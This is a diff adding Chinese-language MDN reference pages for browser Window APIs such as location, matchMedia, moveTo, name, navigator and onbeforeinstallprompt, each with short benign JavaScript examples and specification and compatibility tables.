+<p>Phasellus tempus fringilla nunc, eget sagittis orci molestie vel. Nulla sollicitudin diam non quam iaculis ac porta justo venenatis. Quisque tellus urna, molestie vitae egestas sit amet, suscipit sed sem. Quisque nec lorem eu velit faucibus tristique ut ut dolor. Cras eu tortor ut libero placerat venenatis ut ut massa. Sed quis libero augue, et consequat libero. Morbi rutrum augue sed turpis elementum sed luctus nisl molestie. Aenean vitae purus risus, a semper nisl. Pellentesque malesuada, est id sagittis consequat, libero mauris tincidunt tellus, eu sagittis arcu purus rutrum eros. Quisque eget eleifend mi. Duis pharetra mi ac eros mattis lacinia rutrum ipsum varius.</p>
+<p>Fusce cursus pulvinar aliquam. Duis justo enim, ornare vitae elementum sed, porta a quam. Aliquam eu enim eu libero mollis tempus. Morbi ornare aliquam posuere. Proin faucibus luctus libero, sed ultrices lorem sagittis et. Vestibulum malesuada, ante nec molestie vehicula, quam diam mollis ipsum, rhoncus posuere mauris lectus in eros. Nullam feugiat ultrices augue, ac sodales sem mollis in.</p>
+<p id="myBookmark3"><em>Here is the bookmark #3</em></p>
+<p>Proin vitae sem non lorem pellentesque molestie. Nam tempus massa et turpis placerat sit amet sollicitudin orci sodales. Pellentesque enim enim, sagittis a lobortis ut, tempus sed arcu. Aliquam augue turpis, varius vel bibendum ut, aliquam at diam. Nam lobortis, dui eu hendrerit pellentesque, sem neque porttitor erat, non dapibus velit lectus in metus. Vestibulum sit amet felis enim. In quis est vitae nunc malesuada consequat nec nec sapien. Suspendisse aliquam massa placerat dui lacinia luctus sed vitae risus. Fusce tempus, neque id ultrices volutpat, mi urna auctor arcu, viverra semper libero sem vel enim. Mauris dictum, elit non placerat malesuada, libero elit euismod nibh, nec posuere massa arcu eu risus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer urna velit, dapibus eget varius feugiat, pellentesque sit amet ligula. Maecenas nulla nisl, facilisis eu egestas scelerisque, mollis eget metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Morbi sed congue mi.</p>
+<p>Fusce metus velit, pharetra at vestibulum nec, facilisis porttitor mi. Curabitur ligula sapien, fermentum vel porttitor id, rutrum sit amet magna. Sed sit amet sollicitudin turpis. Aenean luctus rhoncus dolor, et pulvinar ante egestas et. Donec ac massa orci, quis dapibus augue. Vivamus consectetur auctor pellentesque. Praesent vestibulum tincidunt ante sed consectetur. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Fusce purus metus, imperdiet vitae iaculis convallis, bibendum vitae turpis.</p>
+<p>Fusce aliquet molestie dolor, in ornare dui sodales nec. In molestie sollicitudin felis a porta. Mauris nec orci sit amet orci blandit tristique congue nec nunc. Praesent et tellus sollicitudin mauris accumsan fringilla. Morbi sodales, justo eu sollicitudin lacinia, lectus sapien ullamcorper eros, quis molestie urna elit bibendum risus. Proin eget tincidunt quam. Nam luctus commodo mauris, eu posuere nunc luctus non. Nulla facilisi. Vivamus eget leo rhoncus quam accumsan fringilla. Aliquam sit amet lorem est. Nullam vel tellus nibh, id imperdiet orci. Integer egestas leo eu turpis blandit scelerisque.</p>
+<p>Etiam in blandit tellus. Integer sed varius quam. Vestibulum dapibus mi gravida arcu viverra blandit. Praesent tristique augue id sem adipiscing pellentesque. Sed sollicitudin, leo sed interdum elementum, nisi ante condimentum leo, eget ornare libero diam semper quam. Vivamus augue urna, porta eget ultrices et, dapibus ut ligula. Ut laoreet consequat faucibus. Praesent at lectus ut lectus malesuada mollis. Nam interdum adipiscing eros, nec sodales mi porta nec. Proin et quam vitae sem interdum aliquet. Proin vel odio at lacus vehicula aliquet.</p>
+<p>Etiam placerat dui ut sem ornare vel vestibulum augue mattis. Sed semper malesuada mi, eu bibendum lacus lobortis nec. Etiam fringilla elementum risus, eget consequat urna laoreet nec. Etiam mollis quam non sem convallis vel consectetur lectus ullamcorper. Aenean mattis lacus quis ligula mattis eget vestibulum diam hendrerit. In non placerat mauris. Praesent faucibus nunc quis eros sagittis viverra. In hac habitasse platea dictumst. Suspendisse eget nisl erat, ac molestie massa. Praesent mollis vestibulum tincidunt. Fusce suscipit laoreet malesuada. Aliquam erat volutpat. Aliquam dictum elementum rhoncus. Praesent in est massa, pulvinar sodales nunc. Pellentesque gravida euismod mi ac convallis.</p>
+<p>Mauris vel odio vel nulla facilisis lacinia. Aliquam ultrices est at leo blandit tincidunt. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Suspendisse porttitor adipiscing facilisis. Duis cursus quam iaculis augue interdum porttitor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Duis vulputate magna ac metus pretium condimentum. In tempus, est eget vestibulum blandit, velit massa dignissim nisl, ut scelerisque lorem neque vel velit. Maecenas fermentum commodo viverra. Curabitur a nibh non velit aliquam cursus. Integer semper condimentum tortor a pellentesque. Pellentesque semper, nisl id porttitor vehicula, sem dui feugiat lacus, vitae consequat augue urna vel odio.</p>
+<p>Vestibulum id neque nec turpis iaculis pulvinar et a massa. Vestibulum sed nibh vitae arcu eleifend egestas. Mauris fermentum ultrices blandit. Suspendisse vitae lorem libero. Aenean et pellentesque tellus. Morbi quis neque orci, eu dignissim dui. Fusce sollicitudin mauris ac arcu vestibulum imperdiet. Proin ultricies nisl sit amet enim imperdiet eu ornare dui tempus. Maecenas lobortis nisi a tortor vestibulum vel eleifend tellus vestibulum. Donec metus sapien, hendrerit a fermentum id, dictum quis libero.</p>
+<p>Pellentesque a lorem nulla, in tempor justo. Duis odio nisl, dignissim sed consequat sit amet, hendrerit ac neque. Nunc ac augue nec massa tempor rhoncus. Nam feugiat, tellus a varius euismod, justo nisl faucibus velit, ut vulputate justo massa eu nibh. Sed bibendum urna quis magna facilisis in accumsan dolor malesuada. Morbi sit amet nunc risus, in faucibus sem. Nullam sollicitudin magna sed sem mollis id commodo libero condimentum. Duis eu massa et lacus semper molestie ut adipiscing sem.</p>
+<p>Sed id nulla mi, eget suscipit eros. Aliquam tempus molestie rutrum. In quis varius elit. Nullam dignissim neque nec velit vulputate porttitor. Mauris ac ligula sit amet elit fermentum rhoncus. In tellus urna, pulvinar quis condimentum ut, porta nec justo. In hac habitasse platea dictumst. Proin volutpat elit id quam molestie ac commodo lacus sagittis. Quisque placerat, augue tempor placerat pulvinar, nisi nisi venenatis urna, eget convallis eros velit quis magna. Suspendisse volutpat iaculis quam, ut tristique lacus luctus quis.</p>
+<p>Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</p>
+</body>
+</html>
+
+ +
Note: The function showNode is also an example of the use of the for cycle without a statementsection. In this case a semicolon is always put immediately after the declaration of the cycle.
+ +

下面代码做同样的事,但是页面滚动带有动画效果:

+ +
var showBookmark = (function () {
+  var  _useHash, _scrollX, _scrollY, _nodeX, _nodeY, _itFrame, _scrollId = -1, _bookMark,
+       /*
+       * nDuration: the duration in milliseconds of each frame
+       * nFrames: number of frames for each scroll
+       */
+       nDuration = 200, nFrames = 10;
+
+  function _next () {
+    if (_itFrame > nFrames) { clearInterval(_scrollId); _scrollId = -1; return; }
+    _isBot = true;
+    document.documentElement.scrollTop = Math.round(_scrollY + (_nodeY - _scrollY) * _itFrame / nFrames);
+    document.documentElement.scrollLeft = Math.round(_scrollX + (_nodeX - _scrollX) * _itFrame / nFrames);
+    if (_useHash && _itFrame === nFrames) { location.hash = _bookMark; }
+    _itFrame++;
+  }
+
+  function _chkOwner () {
+    if (_isBot) { _isBot = false; return; }
+    if (_scrollId > -1) { clearInterval(_scrollId); _scrollId = -1; }
+  }
+
+  if (window.addEventListener) { window.addEventListener("scroll", _chkOwner, false); }
+  else if (window.attachEvent) { window.attachEvent("onscroll", _chkOwner); }
+
+  return function (sBookmark, bUseHash) {
+    _scrollY = document.documentElement.scrollTop;
+    _scrollX = document.documentElement.scrollLeft;
+    _bookMark = sBookmark;
+    _useHash = arguments.length === 1 || bUseHash;
+    for (
+      var nLeft = 0, nTop = 0, oNode = document.querySelector(sBookmark);
+      oNode;
+      nLeft += oNode.offsetLeft, nTop += oNode.offsetTop, oNode = oNode.offsetParent
+    );
+    _nodeX = nLeft, _nodeY = nTop, _itFrame = 1;
+    if (_scrollId === -1) { _scrollId = setInterval(_next, Math.round(nDuration / nFrames)); }
+  };
+})();
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Window.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Window.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.location")}}

+ +
 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/locationbar/index.html b/files/zh-cn/web/api/window/locationbar/index.html new file mode 100644 index 0000000000..a1b3af3db5 --- /dev/null +++ b/files/zh-cn/web/api/window/locationbar/index.html @@ -0,0 +1,63 @@ +--- +title: Window.locationbar +slug: Web/API/Window/locationbar +translation_of: Web/API/Window/locationbar +--- +
{{APIRef}}
+ +

概要

+ +

返回一个可以检查visibility属性的 locationbar 对象。

+ +

语法

+ +
objRef = window.locationbar 
+ +

示例

+ +

以下完整的HTML示例显示了使用locationbar对象的visible属性的方式.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>Various DOM Tests</title>
+
+<script>
+var visible = window.locationbar.visible;
+</script>
+
+</head>
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-locationbar', 'Window.locationbar')}}{{Spec2('HTML5 W3C')}} 
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/matchmedia/index.html b/files/zh-cn/web/api/window/matchmedia/index.html new file mode 100644 index 0000000000..48abe41c6a --- /dev/null +++ b/files/zh-cn/web/api/window/matchmedia/index.html @@ -0,0 +1,102 @@ +--- +title: Window.matchMedia() +slug: Web/API/Window/matchMedia +translation_of: Web/API/Window/matchMedia +--- +

{{APIRef}}

+ +

{{domxref("Window")}} 的matchMedia() 方法返回一个新的{{domxref("MediaQueryList")}} 对象,表示指定的媒体查询字符串解析后的结果。返回的MediaQueryList 可被用于判定{{domxref("Document")}}是否匹配媒体查询,或者监控一个document 来判定它匹配了或者停止匹配了此媒体查询。

+ +

语法

+ +
mqList = window.matchMedia(mediaQueryString)
+
+ +

参数

+ +
+
mediaQueryString
+
一个被用于媒体查询解析的字符串。
+
+ +

返回值

+ +

一个用来媒体查询的新的{{domxref("MediaQueryList")}}对象

+ +

使用说明

+ +

您可以使用返回的媒体查询来执行即时检查和事件驱动检查,以查看文档是否与媒体查询匹配。

+ +

要执行一次瞬时检查以查看文档是否与媒体查询匹配,请查看{{domxref("MediaQueryList.matches", "matches")}}属性的值,当document满足媒体查询条件的时候将会返回true

+ +

如果您需要始终了解document是否与媒体查询匹配,则可以查看将要传递给对象的{{domxref("MediaQueryList.change_event", "change")}} 事件 。{{domxref("Window.devicePixelRatio")}}上的文章中有一个很好的例子。

+ +

举例

+ +

此示例运行媒体查询(max-width: 600px)并在{{HTMLElement("span")}};中显示MediaQueryListmatches属性值。如果视口的宽度小于或等于600像素,则输出将为true,而如果窗口的宽度大于此宽度,则将输出false。

+ +

JavaScript

+ +
let mql = window.matchMedia('(max-width: 600px)');
+
+document.querySelector(".mq-value").innerText = mql.matches;
+
+ +

JavaScript代码只需将要匹配的媒体查询字符串传递到{{domxref("Window.matchMedia", "matchMedia()")}}进行编译,然后设置<span>的{{domxref("HTMLElement.innerText", "innerText")}}为{{domxref("MediaQueryList.media", "matches")}}属性结果的值,以便它表明此document在此刻页面加载完成时是否与媒体查询所匹配。

+ +

HTML

+ +
<span class="mq-value"></span>
+ +

一个简单的 <span> 来接收输出。

+ + + +

Result

+ +

{{EmbedLiveSample("Examples", "100%", "60")}}

+ +

参考更多的例子来 通过代码使用媒体查询

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSSOM View", "#dom-window-matchmedia", "Window.matchMedia()")}}{{Spec2("CSSOM View")}}Initial definition
+ +

浏览器通用性

+ +

{{Compat("api.Window.matchMedia")}}

+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/window/menubar/index.html b/files/zh-cn/web/api/window/menubar/index.html new file mode 100644 index 0000000000..bfd99a1da9 --- /dev/null +++ b/files/zh-cn/web/api/window/menubar/index.html @@ -0,0 +1,57 @@ +--- +title: Window.menubar +slug: Web/API/Window/menubar +translation_of: Web/API/Window/menubar +--- +

{{ APIRef() }}

+ +

概要

+ +

返回一个可以检测visibility属性的 menubar 对象。

+ +

语法

+ +
objRef = window.menubar
+
+ +

示例

+ +

以下完整的HTML示例显示了使用locationbar对象的visible属性的方式。

+ +
<html>
+<head>
+  <title>Various DOM Tests</title>
+  <script>
+    var visible = window.menubar.visible;
+  </script>
+</head>
+<body>
+  <p>Various DOM Tests</p>
+</body>
+</html>
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'browsers.html#dom-window-menubar', 'Window.menubar')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'browsers.html#dom-window-menubar', 'Window.menubar')}}{{Spec2('HTML5 W3C')}} 
+ +

相关链接:

+ +

window.locationbar, window.personalbar, window.scrollbars, window.statusbar, window.toolbar

diff --git a/files/zh-cn/web/api/window/minimize/index.html b/files/zh-cn/web/api/window/minimize/index.html new file mode 100644 index 0000000000..64c28da15c --- /dev/null +++ b/files/zh-cn/web/api/window/minimize/index.html @@ -0,0 +1,6 @@ +--- +title: window.minimize +slug: Web/API/Window/minimize +translation_of: Web/API/Window/minimize +--- +

{{APIRef}}让当前浏览器窗口最小化(可以通过调用{{ domxref("window.moveTo()") }}方法让窗口恢复正常显示).

diff --git a/files/zh-cn/web/api/window/moveby/index.html b/files/zh-cn/web/api/window/moveby/index.html new file mode 100644 index 0000000000..3e1ad67e96 --- /dev/null +++ b/files/zh-cn/web/api/window/moveby/index.html @@ -0,0 +1,34 @@ +--- +title: Window.moveBy() +slug: Web/API/Window/moveBy +translation_of: Web/API/Window/moveBy +--- +
+ {{APIRef}}
+

概述

+

根据指定的值,移动当前窗口。

+

语法

+
window.moveBy(deltaX, deltaY)
+
+

参数

+ +

示例

+
function budge() {
+  moveBy(10, -10);
+}
+

备注

+

可以使用负值作为该函数的参数。该函数产生相对移动,而 {{domxref("window.moveTo")}} 产生一个绝对移动。

+

从 Firefox 7 开始,依据下面的规则不能再移动一个浏览器里的窗口。

+
    +
  1. 不能移动非 window.open 创建的窗口或 Tab。
  2. +
  3. 当一个窗口里有多于一个 Tab 时,不能移动该窗口。
  4. +
+

规范

+

{{dom0}}

+

相关链接

+ diff --git a/files/zh-cn/web/api/window/moveto/index.html b/files/zh-cn/web/api/window/moveto/index.html new file mode 100644 index 0000000000..b817540bc9 --- /dev/null +++ b/files/zh-cn/web/api/window/moveto/index.html @@ -0,0 +1,44 @@ +--- +title: window.moveTo +slug: Web/API/Window/moveTo +translation_of: Web/API/Window/moveTo +--- +
{{ApiRef}}
+ +

概述

+ +

将当前窗口移动到指定的坐标位置。

+ +

语法

+ +
window.moveTo(x, y)
+
+ +

参数

+ + + +

示例

+ +
function origin() {
+  // 把窗口移动到左上角
+  window.moveTo(0, 0);
+}
+ +

附注

+ +

本函数按照指定的绝对位置移动当前窗口,而{{domxref("window.moveBy")}}函数按照与当前位置相对的距离移动当前窗口。

+ +

从Firefox 7开始,如果符合下列情况,则普通网页中的JavaScript无法通过调用该函数来移动浏览器窗口

+ +
    +
  1. 当前窗口或标签页不是由{{domxref("window.open")}}方法创建的
  2. +
  3. 当前标签页所在的窗口包含有多个标签页
  4. +
+ +

规范

+ +

{{dom0}}

diff --git a/files/zh-cn/web/api/window/mozanimationstarttime/index.html b/files/zh-cn/web/api/window/mozanimationstarttime/index.html new file mode 100644 index 0000000000..41666637e4 --- /dev/null +++ b/files/zh-cn/web/api/window/mozanimationstarttime/index.html @@ -0,0 +1,21 @@ +--- +title: window.mozAnimationStartTime +slug: Web/API/Window/mozAnimationStartTIme +translation_of: Web/API/Window/mozAnimationStartTime +--- +

{{ ApiRef() }}

+

{{ gecko_minversion_header("2.0") }}{{ non-standard_header() }}

+

概述

+

Returns the time, in milliseconds since the epoch, at which animations started now should be considered to have started. This value should be used instead of, for example, Date.now(), because this value will be the same for all animations started in this window during this refresh interval, allowing them to remain in sync with one another.

+

This also allows JavaScript-based animations to remain synchronized with CSS transitions and SMIL animations triggered during the same refresh interval.

+

语法

+
time = window.mozAnimationStartTime;
+
+

规范

+

不属于任何规范.

+

相关链接

+ +

{{ languages( { "en":"en/DOM/window.mozAnimationStartTime" } ) }}

diff --git a/files/zh-cn/web/api/window/mozinnerscreenx/index.html b/files/zh-cn/web/api/window/mozinnerscreenx/index.html new file mode 100644 index 0000000000..4f02d0da11 --- /dev/null +++ b/files/zh-cn/web/api/window/mozinnerscreenx/index.html @@ -0,0 +1,44 @@ +--- +title: Window.mozInnerScreenX +slug: Web/API/Window/mozInnerScreenX +tags: + - HTML DOM + - NeedsCompatTable + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Window + - 参考 + - 属性 + - 接口 +translation_of: Web/API/Window/mozInnerScreenX +--- +
{{APIRef}}{{gecko_minversion_header("1.9.2")}}
+ +

概要

+ +

在屏幕坐标中获取窗口视口左上角的X坐标

+ +
备注: 该坐标以CSS像素报告显示,而不是硬件像素。 这意味着它可以受缩放级别的影响; 要计算物理屏幕像素的实际数量,需要使用 nsIDOMWindowUtils.screenPixelsPerCSSPixel 属性.
+ +

语法

+ +
screenX = window.mozInnerScreenX;
+ +

+ + + +

规范

+ +

不属于任何W3C规范或标准.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/mozinnerscreeny/index.html b/files/zh-cn/web/api/window/mozinnerscreeny/index.html new file mode 100644 index 0000000000..f5b5aedb89 --- /dev/null +++ b/files/zh-cn/web/api/window/mozinnerscreeny/index.html @@ -0,0 +1,44 @@ +--- +title: Window.mozInnerScreenY +slug: Web/API/Window/mozInnerScreenY +tags: + - HTML DOM + - NeedsCompatTable + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Window + - 参考 + - 属性 + - 接口 +translation_of: Web/API/Window/mozInnerScreenY +--- +
{{APIRef}}{{gecko_minversion_header("1.9.2")}}
+ +

概要

+ +

在屏幕坐标下获取窗口视口左上角的Y坐标

+ +
备注:该坐标是以CSS像素报告显示的,而不是以硬件像素。 这意味着它可以受缩放级别的影响; 要计算物理屏幕像素的实际数量,需要使用nsIDOMWindowUtils.screenPixelsPerCSSPixel 属性
+ +

语法

+ +
screenY = window.mozInnerScreenY;
+ +

+ + + +

规范

+ +

不属于任何W3C规范或标准

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/window/mozpaintcount/index.html b/files/zh-cn/web/api/window/mozpaintcount/index.html new file mode 100644 index 0000000000..da91c15ba4 --- /dev/null +++ b/files/zh-cn/web/api/window/mozpaintcount/index.html @@ -0,0 +1,21 @@ +--- +title: Window.mozPaintCount +slug: Web/API/Window/mozPaintCount +translation_of: Web/API/Window/mozPaintCount +--- +
{{APIRef}} {{gecko_minversion_header("2.0")}}
+ +

返回当前文档渲染到屏幕上所需的时间。

+ +

语法

+ +
var paintCount = window.mozPaintCount;
+ + + +

说明

+ +

不是任何W3C技术规范或建议的一部分。

diff --git a/files/zh-cn/web/api/window/name/index.html b/files/zh-cn/web/api/window/name/index.html new file mode 100644 index 0000000000..820c916235 --- /dev/null +++ b/files/zh-cn/web/api/window/name/index.html @@ -0,0 +1,66 @@ +--- +title: Window.name +slug: Web/API/Window/name +tags: + - API + - NeedsUpdate + - 参考 + - 属性 +translation_of: Web/API/Window/name +--- +
{{APIRef}}
+ +

获取/设置窗口的名称。

+ +

语法

+ +
string = window.name;
+window.name = string;
+ +

示例

+ +
window.name = "lab_view";
+ +

备注

+ +

窗口的名字主要用于为超链接和表单设置目标(targets)。窗口不需要有名称。

+ +

在某些框架里(如,SessionVars 和 Dojo's dojox.io.windowName ,该属性也被用于作为 JSONP 的一个更安全的备选,来提供跨域通信(cross-domain messaging)。现代 web 应用应使用 postMessage API 进行敏感的跨域通信。

+ +

window.name 会调用 toString 将赋给它的值转换成对应的字符串表示。

+ +

(译注:此处似有不妥,私以为调用的应是 ToString 抽象方法。事实上,如果将一个Symbol类型的值赋给 window.name,会报 TypeError,而非调用 Symbol.toString() 转换成字符串后进行赋值。例如:

+ +
window.name = Symbol.for('foo'); // TypeError
+window.name = Symbol.for('foo').toString(); // "Symbol(foo)"
+
+ +

具体可参见EMCA语言规范中Type Conversion一节。)

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('HTML WHATWG', 'browsers.html#dom-name', 'Window.name')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'browsers.html#dom-name', 'Window.name')}}{{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.name")}}

diff --git a/files/zh-cn/web/api/window/navigator/index.html b/files/zh-cn/web/api/window/navigator/index.html new file mode 100644 index 0000000000..0eaf8c6e51 --- /dev/null +++ b/files/zh-cn/web/api/window/navigator/index.html @@ -0,0 +1,94 @@ +--- +title: window.navigator +slug: Web/API/Window/navigator +tags: + - API + - Window + - 只读属性 + - 属性 +translation_of: Web/API/Window/navigator +--- +
{{ApiRef}}
+ +

只读属性 Window.navigator 会返回一个 {{domxref("Navigator")}} 对象的引用,可以用于请求运行当前代码的应用程序的相关信息。

+ +

语法

+ +
navigatorObject = window.navigator
+ +

例子

+ +

例子 #1:检测浏览器并返回浏览器名称字符串

+ +
var sBrowser, sUsrAg = navigator.userAgent;
+
+// The order matters here, and this may report false positives for unlisted browsers.
+
+if (sUsrAg.indexOf("Firefox") > -1) {
+  sBrowser = "Mozilla Firefox";
+  // "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
+} else if (sUsrAg.indexOf("Opera") > -1 || sUsrAg.indexOf("OPR") > -1) {
+  sBrowser = "Opera";
+  //"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 OPR/57.0.3098.106"
+} else if (sUsrAg.indexOf("Trident") > -1) {
+  sBrowser = "Microsoft Internet Explorer";
+  // "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Zoom 3.6.0; wbx 1.0.0; rv:11.0) like Gecko"
+} else if (sUsrAg.indexOf("Edge") > -1) {
+  sBrowser = "Microsoft Edge";
+  // "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
+} else if (sUsrAg.indexOf("Chrome") > -1) {
+  sBrowser = "Google Chrome or Chromium";
+  // "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36"
+} else if (sUsrAg.indexOf("Safari") > -1) {
+  sBrowser = "Apple Safari";
+  // "Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 980x1306"
+} else {
+  sBrowser = "unknown";
+}
+
+alert("当前浏览器为: " + sBrowser);
+
+ +

例子 #2:检测浏览器并返回代表当前浏览器的索引数字

+ +
function getBrowserId () {
+  var aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+      sUsrAg = navigator.userAgent,
+      nIdx = aKeys.length - 1;
+
+  for (nIdx; nIdx > -1 && sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+  return nIdx;
+}
+
+console.log(getBrowserId());
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.navigator")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/offline_event/index.html b/files/zh-cn/web/api/window/offline_event/index.html new file mode 100644 index 0000000000..7b1886ceaa --- /dev/null +++ b/files/zh-cn/web/api/window/offline_event/index.html @@ -0,0 +1,63 @@ +--- +title: offline +slug: Web/API/Window/offline_event +translation_of: Web/API/Window/offline_event +--- +

当浏览器失去网络连接时,offline事件被触发。并且navigator.onLine的值变为 false

+ +

常规信息

+ +
+
规范
+
HTML5 Offline
+
接口
+
Event
+
是否冒泡
+
+
可取消默认行为
+
+
目标对象
+
当前网页(<window>)
+
默认行为
+
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{readonlyInline}}{{domxref("EventTarget")}}产生该事件的对象(DOM树中最顶级的那个对象).
type {{readonlyInline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}该事件是否冒泡.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}该事件是否可取消默认行为.
+ +

相关事件

+ + diff --git a/files/zh-cn/web/api/window/onappinstalled/index.html b/files/zh-cn/web/api/window/onappinstalled/index.html new file mode 100644 index 0000000000..bbf2065738 --- /dev/null +++ b/files/zh-cn/web/api/window/onappinstalled/index.html @@ -0,0 +1,100 @@ +--- +title: Window.onappinstalled +slug: Web/API/Window/onappinstalled +translation_of: Web/API/Window/onappinstalled +--- +
{{APIRef}}
+ +

{{domxref("Window")}} 对象的 onappinstalled 属性用于处理 {{Event("appinstalled")}}  事件,该事件是一个实现了 {{domxref("Event")}}接口的简单事件,会在网页应用成功安装为渐进式网页应用时立即触发。

+ +

语法

+ +
window.onappinstalled = function(event) { ... };
+
+ +

示例

+ +
window.onappinstalled = function(ev) {
+  console.log('The application was installed.');
+};
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Manifest', '#onappinstalled-attribute', 'Window.onappinstalled')}}{{Spec2('Manifest')}}Initial specification.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatGeckoDesktop(49)}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(49)}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] This feature is behind a feature preference setting. In about:config, set dom.manifest.onappinstall to true.

+ +

相关文章

+ + diff --git a/files/zh-cn/web/api/window/onbeforeinstallprompt/index.html b/files/zh-cn/web/api/window/onbeforeinstallprompt/index.html new file mode 100644 index 0000000000..e2243375f7 --- /dev/null +++ b/files/zh-cn/web/api/window/onbeforeinstallprompt/index.html @@ -0,0 +1,118 @@ +--- +title: Window.onbeforeinstallprompt +slug: Web/API/Window/onbeforeinstallprompt +tags: + - Window.onbeforeinstallprompt + - beforeinstallprompt +translation_of: Web/API/Window/onbeforeinstallprompt +--- +

{{ ApiRef() }}

+ +

Window.onbeforeinstallprompt 属性是一个事件处理程序, 用于处理一个{{event("beforeinstallprompt")}}, 当一个Web清单存在时,它将在移动设备上发送,但是在提示用户将网站保存到主屏幕之前。

+ +

句法

+ +
window.addEventListener("beforeinstallprompt", function(event) { ... });
+
+window.onbeforeinstallprompt = function(event) { ...};
+ +

范例

+ +

The following example uses the beforeinstallprompt function to verify that it is an appropriate time to display an installation prompt to the user. If it is not, the event is redispatched.

+ +
let isTooSoon = true;
+window.addEventListener("beforeinstallprompt", function(e) {
+  if (isTooSoon) {
+    e.preventDefault(); // Prevents prompt display
+    // Prompt later instead:
+    setTimeout(function() {
+      isTooSoon = false;
+      e.prompt(); // Shows prompt
+    }, 10000);
+  }
+
+  // The event was re-dispatched in response to our request
+  // ...
+});
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(45.0)}} [1]{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
